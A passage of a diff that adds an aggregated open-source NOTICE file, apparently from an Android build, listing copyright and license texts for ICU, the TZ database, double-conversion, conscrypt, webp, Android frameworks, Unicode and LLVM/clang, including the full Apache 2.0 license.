+ #  Redistribution and use in source and binary forms, with or without
+ #  modification, are permitted provided that the following conditions
+ #  are met: Redistributions of source code must retain the above
+ #  copyright notice, this list of conditions and the following
+ #  disclaimer.  Redistributions in binary form must reproduce the
+ #  above copyright notice, this list of conditions and the following
+ #  disclaimer in the documentation and/or other materials provided
+ #  with the distribution.
+ #
+ #    Neither the name Myanmar Karen Word Lists, nor the names of its
+ #    contributors may be used to endorse or promote products derived
+ #    from this software without specific prior written permission.
+ #
+ #  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
+ #  CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
+ #  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ #  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ #  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
+ #  BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ #  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
+ #  TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ #  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ #  ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ #  TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
+ #  THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ #  SUCH DAMAGE.
+ #  --------------------------------------------------------------------------
+
+5. Time Zone Database
+
+  ICU uses the public domain data and code derived from Time Zone
+Database for its time zone support. The ownership of the TZ database
+is explained in BCP 175: Procedure for Maintaining the Time Zone
+Database section 7.
+
+ # 7.  Database Ownership
+ #
+ #    The TZ database itself is not an IETF Contribution or an IETF
+ #    document.  Rather it is a pre-existing and regularly updated work
+ #    that is in the public domain, and is intended to remain in the
+ #    public domain.  Therefore, BCPs 78 [RFC5378] and 79 [RFC3979] do
+ #    not apply to the TZ Database or contributions that individuals make
+ #    to it.  Should any claims be made and substantiated against the TZ
+ #    Database, the organization that is providing the IANA
+ #    Considerations defined in this RFC, under the memorandum of
+ #    understanding with the IETF, currently ICANN, may act in accordance
+ #    with all competent court orders.  No ownership claims will be made
+ #    by ICANN or the IETF Trust on the database or the code.  Any person
+ #    making a contribution to the database or code waives all rights to
+ #    future claims in that contribution or in the TZ Database.
+
+6. Google double-conversion
+
+Copyright 2006-2011, the V8 project authors. All rights reserved.
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+    * Redistributions of source code must retain the above copyright
+      notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above
+      copyright notice, this list of conditions and the following
+      disclaimer in the documentation and/or other materials provided
+      with the distribution.
+    * Neither the name of Google Inc. nor the names of its
+      contributors may be used to endorse or promote products derived
+      from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/conscrypt/NOTICE
+
+Copyright 2016 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+
+-----------------------------------------------------------------------
+This product contains a modified portion of `Netty`, a configurable network
+stack in Java, which can be obtained at:
+
+  * LICENSE:
+    * licenses/LICENSE.netty.txt (Apache License 2.0)
+  * HOMEPAGE:
+    * http://netty.io/
+
+This product contains a modified portion of `Apache Harmony`, modular Java runtime,
+which can be obtained at:
+
+  * LICENSE:
+    * licenses/LICENSE.harmony.txt (Apache License 2.0)
+  * HOMEPAGE:
+    * https://harmony.apache.org/
+
+======================================================================
+external/webp/NOTICE
+
+Copyright (c) 2010, Google Inc. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+  * Redistributions of source code must retain the above copyright
+    notice, this list of conditions and the following disclaimer.
+
+  * Redistributions in binary form must reproduce the above copyright
+    notice, this list of conditions and the following disclaimer in
+    the documentation and/or other materials provided with the
+    distribution.
+
+  * Neither the name of Google nor the names of its contributors may
+    be used to endorse or promote products derived from this software
+    without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+======================================================================
+frameworks/base/NOTICE
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Android-specific code.                        ==
+   =========================================================================
+
+Android Code
+Copyright 2005-2008 The Android Open Source Project
+
+This product includes software developed as part of
+The Android Open Source Project (http://source.android.com).
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for Apache Commons code.                              ==
+   =========================================================================
+
+Apache Commons
+Copyright 1999-2006 The Apache Software Foundation
+
+This product includes software developed at
+The Apache Software Foundation (http://www.apache.org/).
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for Jakarta Commons Logging.                          ==
+   =========================================================================
+
+Jakarta Commons Logging (JCL)
+Copyright 2005,2006 The Apache Software Foundation.
+
+This product includes software developed at
+The Apache Software Foundation (http://www.apache.org/).
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Nuance code.                                  ==
+   =========================================================================
+
+These files are Copyright 2007 Nuance Communications, but released under
+the Apache2 License.
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Media Codecs code.                            ==
+   =========================================================================
+
+Media Codecs
+These files are Copyright 1998 - 2009 PacketVideo, but released under
+the Apache2 License.
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the mDnsResponder code.                           ==
+   =========================================================================
+
+mDnsResponder TXTRecord
+This file is Copyright 2004 Apple Computer, Inc.  but released under
+the Apache2 License.
+
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the TagSoup code.                                 ==
+   =========================================================================
+
+This file is part of TagSoup and is Copyright 2002-2008 by John Cowan.
+
+TagSoup is licensed under the Apache License,
+Version 2.0.  You may obtain a copy of this license at
+http://www.apache.org/licenses/LICENSE-2.0 .  You may also have
+additional legal rights not granted by this license.
+
+TagSoup is distributed in the hope that it will be useful, but
+unless required by applicable law or agreed to in writing, TagSoup
+is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
+OF ANY KIND, either express or implied; not even the implied warranty
+of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for Additional Codecs code.                           ==
+   =========================================================================
+
+Additional Codecs
+These files are Copyright 2003-2010 VisualOn, but released under
+the Apache2 License.
+
+  =========================================================================
+  ==  NOTICE file corresponding to the section 4 d of                    ==
+  ==  the Apache License, Version 2.0,                                   ==
+  ==  in this case for the Audio Effects code.                           ==
+  =========================================================================
+
+Audio Effects
+These files are Copyright (C) 2004-2010 NXP Software and
+Copyright (C) 2010 The Android Open Source Project, but released under
+the Apache2 License.
+
+
+                               Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+
+
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories
+http://www.unicode.org/Public/, http://www.unicode.org/reports/,
+and http://www.unicode.org/cldr/data/ . Unicode Software includes any
+source code published in the Unicode Standard or under the directories
+http://www.unicode.org/Public/, http://www.unicode.org/reports/, and
+http://www.unicode.org/cldr/data/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY
+DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA
+FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY
+ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF
+THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY,
+DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2008 Unicode, Inc. All rights reserved. Distributed
+under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of the Unicode data files and any associated documentation (the
+"Data Files") or Unicode software and any associated documentation (the
+"Software") to deal in the Data Files or Software without restriction,
+including without limitation the rights to use, copy, modify, merge,
+publish, distribute, and/or sell copies of the Data Files or Software,
+and to permit persons to whom the Data Files or Software are furnished to
+do so, provided that (a) the above copyright notice(s) and this permission
+notice appear with all copies of the Data Files or Software, (b) both the
+above copyright notice(s) and this permission notice appear in associated
+documentation, and (c) there is clear notice in each modified Data File
+or in the Software as well as in the documentation associated with the
+Data File(s) or Software that the data or software has been modified.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
+OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS
+INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT
+OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
+OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE
+OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in these Data Files or Software without prior written
+authorization of the copyright holder.
+
+======================================================================
+frameworks/compile/slang/NOTICE
+
+=========================
+NOTICE file for slang.git
+=========================
+
+   Copyright (c) 2005-2011, The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+
+
+===========================================
+NOTICE file for external/clang (clang.git).
+Note: libclang*.a are statically linked.
+===========================================
+
+==============================================================================
+LLVM Release License
+==============================================================================
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2007-2011 University of Illinois at Urbana-Champaign.
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+The LLVM software contains code written by third parties.  Such software will
+have its own individual LICENSE.TXT file in the directory in which it appears.
+This file will describe the copyrights, license, and restrictions which apply
+to that code.
+
+The disclaimer of warranty in the University of Illinois Open Source License
+applies to all code in the LLVM Distribution, and nothing in any of the
+other licenses gives permission to use the names of the LLVM Team or the
+University of Illinois to endorse or promote products derived from this
+Software.
+
+The following pieces of software have additional or alternate copyrights,
+licenses, and/or restrictions:
+
+Program             Directory
+-------             ---------
+<none yet>
+
+
+
+=========================================
+NOTICE file for external/llvm (llvm.git).
+Note: libLLVM*.a are statically linked.
+=========================================
+
+==============================================================================
+LLVM Release License
+==============================================================================
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2003-2011 University of Illinois at Urbana-Champaign.
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
